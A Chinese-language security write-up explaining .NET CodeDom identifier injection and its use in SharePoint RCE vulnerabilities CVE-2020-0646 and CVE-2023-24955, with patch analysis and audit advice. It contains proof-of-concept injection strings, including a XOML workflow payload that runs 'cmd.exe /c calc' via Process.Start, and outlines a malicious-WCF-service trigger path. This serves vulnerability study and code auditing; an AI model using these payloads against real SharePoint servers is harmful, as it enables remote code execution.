一、介绍 CodeDom 机制
.NET Framework 提供一种叫做 代码文档对象模型 (CodeDom) 的机制。
我们可以使用 CodeDom 元素组合成 CodeDom 图来表示一段源代码的逻辑。
CodeDom 有两个主要的功能:
- 根据 CodeDom 图生成源代码。
- 将源代码即时编译为程序集。
当然,也可以忽略中间过程,直接将 CodeDom 图编译为程序集。
二、关于 CodeDom 的例子
为了介绍 CodeDom 的一般用法,下面是提供一个关于 CodeDom 例子。该例子展示了如何使用一段 CodeDom 程序描述一段源码的逻辑。
目标源码类似下面这样:
namespace MyNamespace {
using System;
public class MyClass {
public static void MyMethod() {
Console.WriteLine("Hello, World!");
}
}
}
对应的 CodeDom 例子:
using System;
using System.CodeDom;
using System.CodeDom.Compiler;
using Microsoft.CSharp;
using System.Reflection;
namespace CodeDomExample
{
class Program
{
static void Main(string[] args)
{
/************************************************************
// 第一部分:创建 CodeCompileUnit,构建 CodeDom 图以表示一段代码逻辑
************************************************************/
// 创建一个 CodeCompileUnit 对象,表示要编译的代码单元
CodeCompileUnit compileUnit = new CodeCompileUnit();
// 创建一个 CodeNamespace 对象,表示代码的命名空间
CodeNamespace codeNamespace = new CodeNamespace("MyNamespace");
// 添加需要引用的命名空间
codeNamespace.Imports.Add(new CodeNamespaceImport("System"));
// 创建一个 CodeTypeDeclaration 对象,表示要编译的类型
CodeTypeDeclaration codeType = new CodeTypeDeclaration("MyClass");
codeType.IsClass = true;
// 在类型中添加一个方法
CodeMemberMethod codeMethod = new CodeMemberMethod();
codeMethod.Name = "MyMethod";
codeMethod.Attributes = MemberAttributes.Public | MemberAttributes.Static;
codeMethod.ReturnType = new CodeTypeReference(typeof(void));
// 方法体中的代码
CodeSnippetStatement codeSnippet = new CodeSnippetStatement("Console.WriteLine(\"Hello, World!\");");
codeMethod.Statements.Add(codeSnippet);
// 将方法添加到类型中
codeType.Members.Add(codeMethod);
// 将类型添加到命名空间中
codeNamespace.Types.Add(codeType);
// 将命名空间添加到代码单元中
compileUnit.Namespaces.Add(codeNamespace);
/*************************************************************
// 第二部分:将 CodeDom 图编译为程序集
**************************************************************/
// 创建一个 CSharpCodeProvider 对象,用于编译代码
CodeDomProvider provider = new CSharpCodeProvider();
// 创建一个编译参数对象
CompilerParameters parameters = new CompilerParameters();
parameters.GenerateExecutable = true;
parameters.OutputAssembly = "MyCode.exe";
// 编译代码
CompilerResults results = provider.CompileAssemblyFromDom(parameters, compileUnit);
// 检查编译是否成功
if (results.Errors.HasErrors)
{
foreach (CompilerError error in results.Errors)
{
Console.WriteLine("Error: {0}", error.ErrorText);
}
}
else
{
Console.WriteLine("Code compiled successfully!");
}
/*****************************************************
// 第三部分:通过反射加载生成的程序集,并调用相应的方法
******************************************************/
// 加载并执行编译生成的程序集
Assembly assembly = Assembly.LoadFrom("MyCode.exe");
Type type = assembly.GetType("MyNamespace.MyClass");
MethodInfo method = type.GetMethod("MyMethod");
method.Invoke(null, null);
}
}
}
像这样一个典型的 CodeDom 程序往往包括三部分:
依据某些信息,使用 CodeDom 元素 描述 一段源代码的逻辑
将 CodeDom 图转换为源码,然后进行编译,或者 直接将 CodeDom 图编译为程序集
// 根据 CompileUnit (CodeDom图) 生成源码 CodeDomProvider.GenerateCodeFromCompileUnit(); // 从不同的源码表示形式编译程序集 CodeDomProvider.CompileAssemblyFromDom(); CodeDomProvider.CompileAssemblyFromFile(); CodeDomProvider.CompileAssemblyFromSource();
通过反射加载前面生成的程序集,并调用其中的方法。
三、CodeDom 的危险细节
CodeDom 中有大量的元素用于描述源代码中的结构,比如 算术运算、赋值语句、函数调用、循环语句、条件语句等。
下面举其中一个例子:
public class CodeTypeOfExpression : System.CodeDom.CodeExpression
{
public CodeTypeOfExpression(string type);
...
}
CodeTypeOfExpression 用于描述一个 typeof() 语句,其参数是指定的类型名称标识符。示例如下:
CodeTypeOfExpression("System.String");
// 对应的源码如下:
typeof(System.String)
可以看到,在 ComDOM 元素里,我们传入的是一个 字符串。但在生成的源码里,它变成了一个类型名称标识符。
假如传入的 “System.String” 字符串用户可控呢?是否存在注入?
CodeTypeOfExpression typeof1 = new CodeTypeOfExpression(@"System.String); Object/**/test2 = System.Diagnostics.Process.Start(""cmd.exe"", "" /c calc"");//");
CodeVariableDeclarationStatement myVariable = new CodeVariableDeclarationStatement( typeof(Type), "test", typeof1);
myMethod.Statements.Add(myVariable);
生产的C#源码会像下面这样:
System.Type test = typeof(System.String);
Object/**/test2 = System.Diagnostics.Process.Start("cmd.exe", " / c calc");//);
当然,即便跳过生成源码的中间过程,直接将 CodeDom 编译为程序集,也是会被注入的。
CodeDom 中的所有标识符元素都可以被注入,比如变量名、类型名、命名空间名。
四、 CVE-2020-0646
SharePoint WorkFlow RCE 漏洞
SharePoint 的 WorkFlow 提供一些受限的 Activity 以供用户编辑自定义工作流,比如事件到达某个节点后给某个人发一封邮件。其中发一封邮件就是一个 Activity。
用户使用 XOML 格式的文件定义一段工作流,SharePoint 根据 XOML 中使用的 Activity 生成 CodeDom 图,然后生成相应源码,再编译成为相应的程序集。最后当工作流启动时,就会加载该程序集并调用其中的方法。
以上过程发生在:System.Workflow.ComponentModel.dll 的 WorkflowCompiler.Compile() 函数中。
但是由于 CodeDom 的注入问题,而 Workflow 在编译时又没有检查,导致了通过工作流进行代码注入。
payload 如下:
<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
<CallExternalMethodActivity x:Name="codeActivity1" MethodName='test1' InterfaceType='System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c calc");private/**/void/**/foobar(){//' />
</SequentialWorkflowActivity>
InterfaceType 属性指定的接口类型,在构造 CodeDom 图时被用作 CodeTypeOfExpression 的参数,即被传递给 typeof() 语句。
通过对 InterfaceType 注入可以实现代码执行。
补丁:
在进行编译前,调用 CodeGenerator.ValidateIdentifiers(CodeObject) 方法来检查 CodeDom 图中的标识符是否符合语言要求。
CodeGenerator.ValidateIdentifiers() 是 CodeDom 提供的一个检查方法。
补丁是修补在 System.Workflow.ComponentModel.dll 中的,所以这个用于编译工作流的公共组件是已经被修复了。那还会有人/组件 这样使用 CodeDom 吗?
五、 CVE-2023-24955
2023 P2O SharePoint RCE 漏洞
下面是 SharePoint 的补丁比较内容,红色为新加代码:
经过前面的学习,可以看到一些关键字:CodeDom、IsValidIdentifier,NamespaceName。
Namespace 也是标识符,所以在 CodeDom 中也是存在注入风险的,这里加上了 IsValidIdentifier 似乎表明这里可以被注入,proxyNamespaceName 可以被用户控制吗?要如何触发该位置?
寻找触发路径:
补丁在 Microsoft.SharePoint.BusinessData.SystemSpecific.Wcf 命名空间下的 WcfProxyGenerator.GenerateProxyAssembly() 方法附近。该命名空间属于 Microsoft Business Connectivity Services (BCS) 组件。
通过BCS,用户可以在SharePoint中创建外部内容类型(External Content Type),这些内容类型定义了与外部数据源的连接和访问方式。使用这些外部内容类型,用户可以创建外部列表(External List)、外部数据列(External Data Column)和外部内容网站(External Content Site),从而实现对外部数据的展示和操作。
GenerateProxyAssembly、外部内容类型、连接外部数据源、Wcf Service,结合这些关键词,已经可以理清漏洞触发的原因:
- 定义一个 恶意的 Wcf Service
- 在 SharePoint 里创建外部数据源,并指向我们的 恶意 Wcf Service
- 在 SharePoint 里定义一个外部列表,并与我们的外部数据源绑定
- 请求外部列表,SharePoint 就会请求我们的 Wcf Service,也意味着 SharePoint 会通过 GenerateProxyAssembly 来编译出一个客户端代理程序集。
在创建 wcf 外部数据源的时候,很明显可以看到 “代理命名空间” 这个可控字段,实际证明这里就是注入点。
六、 总结
CodeDom 在生成源码和编译时,不会自己检查标识符里是否含有违法字符,而是提供了 Validate 方法由开发者调用以进行检查。不了解 CodeDom 安全问题的开发者很可能会忽略这个检查。
CodeDom 机制常被用于即时代码编译(wcf客户端),或者给用户提供一个有限的可编程功能(workflow 编程)。在审计类似功能时可检查是否使用了 CodeDom,以及是否使用了 CodeGenerator.ValidateIdentifiers() 或 CodeDomProvider.IsValidIdentifier() 进行安全防护。